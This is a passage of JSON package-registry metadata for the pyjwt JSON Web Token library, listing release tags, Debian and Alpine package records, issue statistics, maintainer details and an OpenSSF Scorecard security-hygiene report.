pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.253Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/debian/pyjwt?arch=source\u0026distro=debian-13\u0026repository_url=https://packages.debian.org/trixie","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/debian/pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/debian/pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/debian/pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/pyjwt/codemeta","maintainers":[],"registry":{"name":"debian-13","url":"https://packages.debian.org/trixie","ecosystem":"debian","default":false,"packages_count":38024,"maintainers_count":0,"namespaces_count":4,"keywords_count":1987,"github":"debian","metadata":{"codename":"trixie","funded_packages_count":316},"icon_url":"https://github.com/debian.png","created_at":"2026-02-04T11:01:50.448Z","updated_at":"2026-06-10T05:17:04.542Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/namespaces"}},{"id":6190651,"name":"py3-jwt","ecosystem":"alpine","description":"Python3 JSON Web Token implementation","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2021-04-05T18:18:29.000Z","latest_release_published_at":"2021-04-05T18:18:29.000Z","latest_release_number":"1.7.1-r4","last_synced_at":"2026-03-06T08:28:38.787Z","created_at":"2023-02-01T01:17:45.658Z","updated_at":"2026-05-29T04:00:31.854Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.14/community/x86_64/py3-jwt","install_command":"apk add py3-jwt","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpa